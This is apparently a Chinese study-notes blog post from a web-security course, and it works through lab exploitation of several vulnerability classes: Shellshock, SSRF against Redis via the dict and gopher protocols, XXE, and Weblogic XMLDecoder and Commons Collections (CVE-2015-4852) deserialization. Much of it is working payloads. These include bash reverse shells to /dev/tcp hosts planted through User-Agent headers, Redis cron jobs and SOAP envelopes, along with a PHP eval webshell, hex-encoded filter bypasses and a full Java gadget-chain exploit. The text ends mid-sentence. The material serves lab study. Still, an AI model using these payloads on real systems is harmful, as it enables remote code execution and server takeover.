XSSER及XSS漏洞深入研究和实践讨论的并不是很深入,
XSS平台在社区能拿到源码,笔者建议直接用老大的平台就行XSS/CSRF全部是基于
DVWA的,老大课的第二阶段讲得更好,且均是基础,在此略过Bash-shellshock主要是在安装基于
docker的vulhub靶场,命令如下,以下命令基于Ubuntu环境1
2
3
4apt-get install -y apt-transport-https ca-certificates
apt install docker.io
pip3 install docker-compose
git clone https://github.com/vulhub/vulhub.git对于启动哪个可以在官网关键词搜索到
以这节课的
bash-shellshock破壳漏洞为例1
2docker-compose -d #启动
docker-compose ps -a #看一下信息
如果访问
http://ip:port出现debian则说明成功根据官网描述

可访问界面为
safe.cgi与victim.cgi官网文档有基本的
payload用完后用这个关掉
1
docker-compose down
原理
bash所用的环境变量通过函数名称调用,而以(){开头所定义的环境变量被env解析为函数后,并未退出bash的执行,而是往后将后续字符串当作shell执行而执行
.cgi时调用bash将referer,host,UA,header全部当作环境变量处理payload() { : ;}; echo ; /bin/ls -alh查看
/bin/ls目录下文件
User-Agent: () { :;};echo ; /bin/bash -i >& /dev/tcp/ip/port 0>&1;生成反弹
shell
连接成功,然后就可以想办法传大马提权了
SSRF探索利用由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内网系统,而因为请求由服务端发起,所以能请求到与自身相连而与外网隔绝的内部系统
其关键是
Web应用程序与其他设施或外部服务的新人关系通过修改原始
URL为127.0.0.1或localhost,使服务器能接受指向其自身的地址,从而令攻击者渗透进服务器文件系统服务器端请求伪造
用
curl($_GET['url'])来做演示,其功能如下1
2curl -vvv 'dict://ip:port/info' 查看对方主机信息
curl -vvv 'file:///etc/passwd' 读本地文件用
bWAPP中的ssrf模块做演示可以在老大发的第一个学习靶机中找到已经配置好的,但感觉并没有配置好,建议用
phpadmin自己搭,用docker的话也出了些问题
给了三个例子,以第一个为例
port scan点进去后发现服务器上存有以下用于端口扫描的
php脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";
if(isset($_REQUEST["ip"]))
{
//list of port numbers to scan
$ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
$results = array();
foreach($ports as $port)
{
if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
{
$results[$port] = true;
fclose($pf);
}
else
{
$results[$port] = false;
}
}
foreach($results as $port=>$val)
{
$prot = getservbyport($port,"tcp");
echo "Port $port ($prot): ";
if($val)
{
echo "<span style=\"color:green\">OK</span><br/>";
}
else
{
echo "<span style=\"color:red\">Inaccessible</span><br/>";
}
}
}然后到本地文件包含模块
Remote/Local inclusion
可以看到这里请求了
lang_en.php文件,那么用这个来包含刚刚的脚本
随后就能用服务端的身份进行端口扫描
ssrf常用协议file协议读取服务器本地文件,访问本地静态资源
1
2
3file:///etc/passwd
file:///var/www/html/index.php
file:///usr/local/apache-tomcat/conf/server.xmdict协议常用于探测内网主机以及端口开放情况,以及端口服务的指纹信息,或者执行一些服务的命令,如
redis其格式为
dict://ip:port/command对于多行命令,dict只能一次执行一行,所以需多次执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25一、dict协议探测端口和服务指纹
dict://ip:port
dict://127.0.0.1:port/info
二、dict协议攻击redis,写入定时任务,进行反弹shell
redis默认端口为6379
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabs
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1\n\n"
dict://127.0.0.1:6379/save
注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"
三、dict协议攻击redis,写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"
dict://127.0.0.1:6379/save
若存在过滤, 则利用16进制内容写入:
dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"
gopher协议曾经应用广泛的信息查找系统,使用
70端口,用来攻击redis,mysql,fastcgi,smtp等服务。又称万金油协议,通过该协议发送各种格式的请求包以绕过漏洞不在
GET参数其格式为
gopher://host:port/gopher_path在
gopher协议数据流中,url编码使用%0d%0a替换回车换行,数据流末尾使用%0d%0a代表消息结束攻击
redis服务redis服务的协议数据流格式如下,其中*[参数数量],$[参数x的字节数量]1
2
3
4
5
6
7
8
9*3
$6
config
$3
set
$3
dir
$13
/var/www/htmleg:
redis将反弹shell写入定时任务1
2
3
4
5set ttt "\n\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
quite其
redis格式如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38*3
$3
set
$3
ttt
$69
*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit用
gopher协议攻击,payload如下1
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0attt%0d%0a$69%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
Gopherus总是会有工具的,总会的
其可以自动化构造
paylaod
XXE漏洞探索利用XML基础知识作为一种标记语言,标记电子文件使其具有结构性,其标准结构如下

语法
- 所有
XML元素都有一个关闭标签 - 标签对大小写敏感
- 需要正确嵌套
XML文档必须有根元素XML属性值必须加引号<>符号在XML中有特殊含义,所以用对应的html实体来表示,即<>- 其空格会被保留,即
<p>a[space]b</p>
- 所有
文档结构
元素
XML主要构建模块,可包含文本,其他元素,或空1
<body> body text in between </body>
属性
提供有关元素的额外信息
1
<img src="computer.gif"/>
src即为元素img的属性
DTD:文档类型定义定义
XML文档的合法构建模块,即说明哪些元素/属性合法以及应怎样嵌套可以内部声明或外部引用
内部
<!DOCTYPE 根元素 [元素声明]>1
2
3
4内部声明,先定义了此文档为
note类型。随后定义note类型有四个元素to,from,heading,body随后将这四个元素定义为
#PCDATA类型外部
<!DOCTYPE 根元素 SYSTEM "文件名">1
note.dtd:1
2
3
4
5
XXE即
XML外部实体注入,即DTD外部实体。而其的原因是在解析XML的时候,对恶意的外部实体进行解析导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害然而在
libxml2.9.0后,默认不解析外部实体,PHP版本不影响XXE利用回显
XXE以
bwapp的XXE模块为例
抓包得到存在
xml,尝试修改数据
发现服务器会解析
xml内容那么构造
payload即可注入1
2
3
<reset><login>&bee;</login><secret>Any bugs?</secret></reset>理论上说这能输出桌面的
flag文件内容,但是笔者靶机这里出锅了复现失败,根据github改xxe-2.php的$xml函数值也没有用无回显
XXE大多数条件下,
XXE并不会用于输出,所以要考虑将数据外带判断
对于正常可以联网的靶机,我们可以使用以下操作来判断其是否存在
XXE,借用 dnslog1
2
3然后可以在网站中收到记录
读取文件
往往用
xml来调用靶机以外的xml文件来攻击,以此避免过滤
Weblogic系列Weblogic漏洞利用实践这里选用的是
Weblogic10.3.6版本,这一版本漏洞最多,便于实验安装完成后可以在
Oracle\Middleware\user_projects\domains\base_domain找到

弱密码爆破
很简单的部分,过程略了,但要求控制台关闭了用户控制

SSRF(CVE-2014-4210)在
ip:port/uddiexplorer中,可以看到输入框,随便输点到burp里面看
更改发送包中的数据,可以发现返回也随之改变

尝试
ssrf,让operator访问攻击机端口,并开端口监听
可以验证其确实存在
ssrf漏洞了XML反序列化原理:
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML(SOAP协议)数据,在解析的过程中出现反序列化漏洞,导致任意代码执行。出问题的包是
wls-wsat、_async演示
在
ip:port/wls-wsat/下面的子目录,都是在wls-wsat.war里面WEB-INF/web.xml定义的servlet1
2
3
4
5
6
7
8/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11这里以第一个为例
先将数据包改成可以提交
xml的样子:- 改为
POST类型 - 加上
Content-Type: text/xml 构造
payload1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>bash -i >& /dev/tcp/[ip]/[port] 0>&1</string></void>
</array>
<void method="start"></void>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>攻击机上监听对应端口即可
- 改为
脚本
在这里找到写好的脚本

weblogic反序列化深入java序列化(与反序列化)定义
把对象的状态信息转换为字节序列,便于存储或传输
字节序:多字节数据在内存或网络传输时各字节存储的顺序
用途
把对象字节序列永久保存到硬盘上,存放在文件里,便于恢复和保存用户会话
Sessions便于传输
将内存中信息序列化后释放内存,减轻服务器压力,需要时再反序列化至内存中
应用场景
HTTP实现多个平台间的通信和管理RMI完全基于反序列化,java开发分布式应用程序的API,实现不同操作系统程序的方法调用,默认端口1099JMX可以在任何java程序中使用标准的代理服务和管理实例
ObjectOutputStream类的writeObject()实现序列化ObjectInputStream类的readObject()实现反序列化样例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17public static void main(String args[]) throws Exception{
String obj="hello world!";
//序列化对象写入文件 object.db
FileOutputStream fos=new FileOutputStream("object.db");
ObjectOutputStream os=new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
//从object.db读取数据
FileInputStream fis=new FileInputStream("object.db");
ObjectInputStream ois=new ObjectInputStream(fis);
//反序列化恢复对象obj
String obj2=(String)ois.readObject();
ois.close();
}其序列化后文件特点是文件头
16进制下为AC ED 00 05;base64为rO0AB但这段代码在实际使用中是存在问题的,因为没有对用户输入进行过滤,在
FileInputStream的反序列化过程中,通过构造恶意代码可以进行攻击Apache Commons Collections其中有一个特殊接口类
Invoker Transformer,其可以调用java反射机制来调用任意函数反射机制特点
可以判断对象所属的类,知道类所有的方法和属性,能够调用任意方法和属性
weblogic反序列化深入(二)视频讲的不是很清楚,我这里细化写了一下,也可以移步我的博客看看
JAVA基础学个基础先
java的面向对象编程或许可以类比为一个
struct我们以一个手机为例,手机作为整体即是一个对象
1
public class phone{}
而手机所具有的特点即是其属性
1
2
3
4public class phone{
public String name;
public double weight;
}而为了使“手机”这个概念具象化,即由存于定义变为实际存在,我们需要构造器
1
2
3
4
5
6
7
8
9public class phone{
public String name;
public double weight;
public phone(){}//无参数构造器,系统会自动帮忙声明,所以这一行可以不写
public phone(String name,double weight){//有参数构造器,实例化对象时方便对其赋值
this.name=name;
this.weight=weight;
}
}再随意写入一个函数
1
2
3
4
5
6
7
8
9
10
11
12
13package test1;
public class phone{
public String name;
public double weight;
public phone(){}//无参数构造器,系统会自动帮忙声明,所以这一行可以不写
public phone(String name,double weight){//有参数构造器,实例化对象时方便对其赋值
this.name=name;
this.weight=weight;
}
public void start(){
System.*out*.println("Power on");
}
}如此就完成了一个对象的定义,现在需要创建该对象,或者说,实例化这个类
1
2
3
4
5public class test{
public static void main(String[] args){
phone p=new phone();//new一个名为p,类型为phone的对象
}
}java反射机制正射
通常来说,我们在实例化一个类时,我们需要知道其类型
phone,才能写出实例化代码1
phone p=phone();
反射
顾名思义,我们可以借助函数来得到对象
p的类phone,再用函数进一步操作类的私有属性获取类
.getclass()如果上文中存在所需类的某个实例
p,那么可以调用p.getClass()来获取其的类.class调用类的
class属性可获取该类对应的对象,即使用phone.class.forname()使用了
class类中的静态方法1
2
3
4phone p=new phone();
Class class1=p.getClass();
Class class2=phone.class;
Class class3=Class.forName("phone");//所填的是类所在包名.类名,但这里没有放到包里,所以只写了类名
类的函数
获取想要操作的类的
Class对象class1后,通过Class类的函数可以查看该类的信息并进行操作实例化对象
Object获取1
2
3
4Object p1=class1.newInstance();
//或者
Constuctor cons=class1.getConstructor();
Object p2=cons.newInstancec();两者区别在于,后者可以用来调用含参数的构造器。
newInstance函数需要类中存在无参构造器,当不存在时,只能用后者1
2Constructor cons=class1.getConstructor(String.class,double.class);
Object p2=cons.newInstance(value1,value2);//value1,2即是赋给p2的两个属性的值类的构造器
Constructor获取1
2
3
4
5
6
7
8//获取public构造器
Constructor cons=class1.getConstructor();//当然,这里也可以获取含参数构造器
//获取全部public构造器
Constructor[] cons=class1.getConstructors();//构造器可能不止一个,所以用数组
//获取public与private类型的构造器
Constructor cons=class1.getDeclaredConstructor();
//获取全部构造器
Constructor[] cons=class1.getDeclaredConstructors();
获取属性
field1
2
3
4
5//同上,获取的是public/全部属性
Field f=class1.getField("name");
Field f2=class1.getDeclaredField("name");
Field[] f3=class1.getFields();
Field[] f4=class1.geDeclaredFields();
获取方法
Methods1
2
3//继续同上
Method m=class1.getMethod("setName", String.class); //两个参数,后面要传入的是方法形参的类型的原型,无参函数就不用填
//剩下的略
Runtime类java中的一个系统类,通常写作java.lang.Runtime,其封装了应用程序运行时的环境,但我们只需要关注其中最重要的那个:1
exec(String cmd); //在单独的进程中执行指定的命令或程序。
这个明显可以用来命令执行,利用反射弹个
calc:1
2
3
4
5
6Class p = Class.forName("java.lang.Runtime");//定义一个类与系统类 runtime 相同的类p,那么对于runtime可执行的函数,p也可执行。相当于复制一个 java.lang.runtime 为 p
Constructor constructor = p.getDeclaredConstructor(); // 调用系统类里定义的一个私有构造器
constructor.setAccessible(true); // 修改构造器作用域,使外面可以访问到
Method m = p.getMethod("exec", String.class); // 获取exec方法
Object o = constructor.newInstance(); //弄一个与系统类相同的对象出来,方便后面
m.invoke(o, "calc"); // 调用exec方法,执行calc命令
基于反射的
invoke方法对于一般的对象
A,我们常使用A.getA()来调用其getA()方法而
invoke采取一种新的调用方式:构建一个
Method对象methodA,给其所需要的对象和参数以用其代替你要使用的方法也就是说,在未知条件下,可以调用替代任何方法并根据条件决定调用对象和方法
注解与元注解
注解用于对程序代码说明,但不同于注释的是,其能向编译器提供关于程序代码的附加信息,可在编译运行时被读取或使用,以及可以影响编译器的行为。
其可以用于类,方法,字段等元素上,例:
1
2
3
4
public void oldMethod{
...
}标记了一个过时的方法,在接下来的代码中,若有使用
oldMethod的代码,编译器会给出警告1
2
3
4
public void someMethod() {
...
}使编译器不给出警告信息
元注解则是注解的注解,以马上要用到的
@Target为例,其用于指定注解可以应用的元素类型(方法/类/等)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public MyAnnotation{
//关于类型为注解,名称为 MyAnnotation 的注解的定义,其被Target限制为只能注解 Method
}
public MyClassAnnotation{
//类型为注解,名称为 MyClassAnnotation 的注解,其被 Target 限制为只能注解 class
}
public class myclass{
public void MyMethod{
...
}
}语法糖
当注解中只有一个成员变量,并且该成员名称为
value时,可以用value语法糖简化注解使用:1
2
3
4
5
6
7public MyAnnotation{
string value();
}
public class MyClass{
...
}自定义注解
MyAnnotation中只有value一个成员变量,使用语法糖能直接在使用注解提供值,即使用该注解时将hello作为值传给value成员变量再看一个跟这个题目有关的:
1
2
3
4
5
6
7
8
public Target {
ElementType[] value() default {};
}
public MyAnnotation {
...
}第一个
Target规定了第二个Target能注解的变量类型,且其存在名为value的数组中第二段语句
Target的参数即在value中,规定了MyAnnotation只能注解Element.TYPE和Element.FIELD
CVE-2015-4852漏洞原理浅析环境搭建
docker笔者使用的是
Ubutun+docker。在vulhub/weblogic下新建一个名为CVE-2015-4852的文件夹方便操作,然后写入以下配置文件docker-compose.yml
1
2
3
4
5
6
7version: '2'
services:
weblogic:
build: .
ports:
- "7001:7001"
- "8453:8453"DockerFile
1
2
3
4
5
6
7
8from vulhub/weblogic:10.3.6.0-2017
ENV debugFlag true
EXPOSE 7001
EXPOSE 8453
CMD ["/bin/sh","-c","while true;do echo 1;sleep 10;done"]
随后更新
docker-compose up -d,用docker exec -it [docker_id] bash进入docker目录修改~/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
在其前方加入
1
2debugFlag="true"
export debugFlag随后重启容器,并把容器目录下的
root复制出来1
docker cp [docker_id]:/root [your_path]
后传到你的主机上
idea用
idea打开/root/Oracle/Middleware/wlserver_10.3然后去
Project structure-Libraries添加/server/modules文件夹以及/wlserver_10.3/server/lib/weblogic.jar以进行反编译
再去
Project structure-Projectjdk选择刚刚拷出来的jdk
然后去右上角
add Configuration加入remote服务器,如果刚刚配置的时候没有改调试端口的话这里是8453
最后去
/wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class的第129行下断点,运行debug
访问网站
http://127.0.0.1:7001/wls-wsat/CoordinatorPortType看看是否被断下

利用链分析
前言
反序列化攻击的实现,往往需要将
payload构造为多层的exp进入服务端的readobject函数,其会反序列化恢复构造的exp来生成exp',在接下来的流程中存在可以执行exp'类的方法,不断处理得到最终的payload,最后其进入可执行任意命令的函数也就是说,我们需要构造以下:
- 朴素的
payload,即需要服务器执行的代码 - 一条反序列化链,沿着这条链可以逐渐解码包裹起来的
payload readObject重写点,即服务器端存在的,与漏洞链相连接的且可以从外部访问到的一个方法
- 朴素的
反序列化链构造
将其细分为 $3$ 段,从 $1-3$ 的顺序构造,服务端从 $3-1$ 进行执行。
段 $1$
我们最终的目的是命令执行,即调用
exec()函数这里主要使用的是
InvokerTransformer类及其transform方法

注意到
transform方法会用反射机制调用输入的input的method函数,而Invokertransform类的三个参数全部可由输入控制所以只要控制
transform方法的input变量是一个Runtime的Class实例,就可以成功调用即执行了Runtime.getRuntime().exec("calc");写一个实验如下:
1
2
3
4
5
6
7
8import org.apache.commons.collections4.functors.InvokerTransformer;
public class InvokerTransformerTest{
public static void main(String[] args){
InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});//变量赋值
InvokerTransformer.transform(Runtime.getRuntime());//得到runtime类
}
}对于新学
java的这里有一点要注意的,如果是 ${vscode}$ 的话,这个外部库去apache下载后,用extentsion pack for java,然后在JAVA PROJECT下面的Referenced Libraries添加下载的库。注意引入库的版本要和下载的对应
但不幸的是,
CC里面并不能直接使用InvokerTransformer.transform,也就是说得不到RunTime类,那么现在需要找到利用链的上一级,其需要调用该方法这里就需要
ChainedTransformer


CC4(上) 可能和网上常见的CC3(下) 不太一样,但理解成正常for循环和用auto的循环就行这个类以一个
Transformer数组为变量,其transform方法是对每个Transformer调用其自己的transform方法但注意最开始传入的参数
object会被其迭代,这对链的构造十分有利现在我们解决的
transform方法的问题,getRunTime可以由RunTime类获取。回顾我们需要构造的链Runtime.getRuntime().exec("calc");。只要获取到RunTime类就可以完成段 $1$ 的构造但是
RunTime对象不能像普通对象一样直接声明,那么就需要性质很好的ConstantTransformer

其
transform方法返回值都是iConstant。那么只要让一个
RunTime类为iConstant即可得到RunTime类,再结合刚刚的ChainedTransformer就可以获取到链的第一截RunTime,然后去InvokerTransformer的transform方法调用getMethod()得到第二截getRunTime(),最后再用其调用exec()即能得到整条链由于
ChainedTransformer参数object的优秀迭代机制,只需要让另外几个以此放在Transform[]类数组里面即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.Transformer;
public class test_part1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chain=new ChainedTransformer(transformers_exec);
chain.transform(1);
}
}如此就成功构造出了链的第一部分
Runtime.getRuntime.exec("calc")回顾一下调用栈
1
2
3
4
5
6
7
8
9
10
11ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()那么我们现在只需要找到一处调用了
ConstantTransformer.transform的地方即可。由于其所需参数任意,所以这里分为第一段段 $2$
一般来说是找不到严格相同的
ConstantTransformer.transform,但我们退而求其次,找xxx.transform方法,且xxx可被赋值为ConstantTransformer类型对象根据资料,这里有两条路可以走:
TransformedMap与LazyMap,但顾名思义,我懒,所以没有LazyMap的笔记


其中这三个函数调用了其
transform方法,也就是构造valueTransformer或keyTransformer为刚刚构造的ChainedTransformer类型对象,然后触发这三个函数来触发trnsform方法即可。需要分两步:先赋值,再调用但实际上只能让
valueTransformer为反序列化构造链,因为只有其在后面能被调用到,但这是过会要考虑的问题但这几个方法都是
protected,也就是无法从外部访问。那么考虑找public类型入手:transformedMap类型:
transformingMap方法则是可以调用构造函数赋值内部参数
如果是
CC3版本的话,这里是decorate方法
可以发现构造方法
transformingMap需要满足的条件是第一个参数是Map类型,那么随便建一个map就行,如此就赋值成功了1
2
3HashMap tmpMap=new HashMap();
tmpMap.put("nothinghere","qwq");
Map ChainMap=TransformedMap.transformingMap(tmpMap,null,chain);//chain即是上面构造的 ChainedTransformer中途可以验证一下
找到一个性质很好的
put方法,其可以从外部访问且能调用上面三个隐私函数之一的transformKey。
由
transformKey可知,只要参数KeyTransformer不为空即可调用transform方法,那么随便传几个进去试试:1
ChainMap.put("justfor","test");
成功调出计算器,也就是赋值操作是没问题的,
那么接下来考虑如何让系统自动触发
Map类型中valueTransformer参数transform方法(即刚刚构造的链条所在位置),即调用valueTransformer.transform(),显然这里的参数无关紧要所以最后要落脚到一个读入数据后主动触发的类,即
ReadObject类先搜索找到调用函数
checkSetValue:
点进去看下谁能调用它:

到其父类
AbstractInputCheckedMapDecorator中也就是现在需要一个
Map.entry类且需要调用Map.entry.setValue()参数依旧不重要还是经典的赋值+调用
先看赋值,要将原来的
TransformedMap类转为Map.Entry类而
TransformedMap也是Map,Map.entry是一个键对值<key,value>的集合也就是从
Map中提取键对值的方法用在TransformedMap上,并将其赋值给Map.entry即可,顺便手动调用一下SetValue方法试一下1
2Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
entry.setValue("qwq");在这里分个段清晰一些,回顾一下反序列化链;
1
2
3
4
5
6
7
8
9
10
11
12
13Map.entry.setValue()
TransformedMap.put()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()段 $3$
在开始前,确保版本为
jdk1.6因为这里使用
AnnotationInvocationHandler类来解决调用函数的问题,其在jdk1.8被重写了它在
JRE System Library-rt.jar-sun.reflect.annotation.AnnotationInvocationHandler里

观察到
var5存在setvalue()方法的调用,恰巧的是,其构造过程与上面的entry一模一样:1
2Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
var5=this.memberValue.entrySet().iterator().next();那么
payload转而写成:1
2
3
4
5//Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next(); 已经不需要这个了
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);//反射机制调用AnnotationInvocationHandler类的构造函数
ctor.setAccessible(true);//取消构造函数修饰符限制
Object instance = ctor.newInstance(Target.class, ChainMap);//获取AnnotationInvocationHandler类实例而前面定义的
memberValues恰好是map类型,将其赋值成transformedMap即可满足var5即是entry但想进到判断里还需要满足几个条件:
transformedMap非空:var4.hasNext()检查了memberValues的EntrySet的迭代器var7!=null:var7的生成过程比较复杂,上面已经标出来了这里需要注意的是
var2的生成过程AnnotationType.getInstance(this.type),this.type即是上面传进去的Target.class而
var7非空是很难构造的。而这个涉及到java的注解与value语法糖,最上面有写,跳到上面看一下再回来1
var2 = AnnotationType.getInstance(this.type);
getInstance得到我们传进去的注解的基本信息,这里就以传进去了Target.class为例:1
Map var3 = var2.memberTypes();
memberType得到注解中的成员变量,其返回值为Map类型,键为成员变量名称,值为成员变量类型这个时候选择传入
this.type为Target.class的原因就能看出来了:看java.lang.annotation.Target的定义:1
2
3
4
5
6//会被写入javadoc文档
//生命周期时运行时
//标明注解可以用于注解声明(应用于另一个注解上)
public Target {
ElementType[] value();//value语法糖
}也就是说,对于
Target注解,其成员变量名称总为value那么
var3即为键值对<value,[ElementType]>1
Class var7 = (Class)var3.get(var6);
这时候再来看
var7的生成式,只需要满足var6中有Map的键为value,值任意即可对
var6的来源回溯上去,即是让tmpmap中存有键为value即可就是将
1
2HashMap tmpMap=new HashMap();
tmpMap.put("nothinghere","qwq");改为
1
2HashMap tmpMap=new HashMap();
tmpMap.put("value","qwq");至此利用链完毕,回顾一下整条链子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14AnnotationInvocationHandler.readObject()
Map.entry.setValue()
TransformedMap.put()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()payload为1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35import org.apache.commons.collections4.*;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections4.Transformer;
public class test_part1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
// chain.transform(1);
HashMap tmpMap=new HashMap();
tmpMap.put("value","qwq");
Map ChainMap=TransformedMap.transformingMap(tmpMap,null,chain);
// ChainMap.put("justfor","test");
// Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
// entry.setValue("qwq");
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, ChainMap);
}
}
上传
可以加上这段代码在本地模拟上传试一下:
1
2
3
4
5
6
7
8
9
10
11//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
//服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
fin.readObject();T3协议分析
用
python模拟握手包的发包,wireshark抓一下,追踪TCP流1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16import socket
def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
while True:
data = sock.recv(1024)
print(data.decode())
if __name__ == "__main__":
ip = "192.168.19.131"
port = 7001
T3Test(ip,port)
再看一下网上的资料,握手包结束后是序列化的
java数据流
前面提到过
aced 0005是序列化的标志,那么为了执行payload,抓下协议包,将数据改为构造的payload即可
CVE-2016-0638浅析原理
在上一个漏洞爆出后,
Oracle对weblogic发布了补丁,将以下 $5$ 个函数加入黑名单:1
2
3
4
5
6org.apache.commons.collections.functors*
com.sun.org.apache.xalan.internal.xsltc.trax*
javassist*
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure并且在
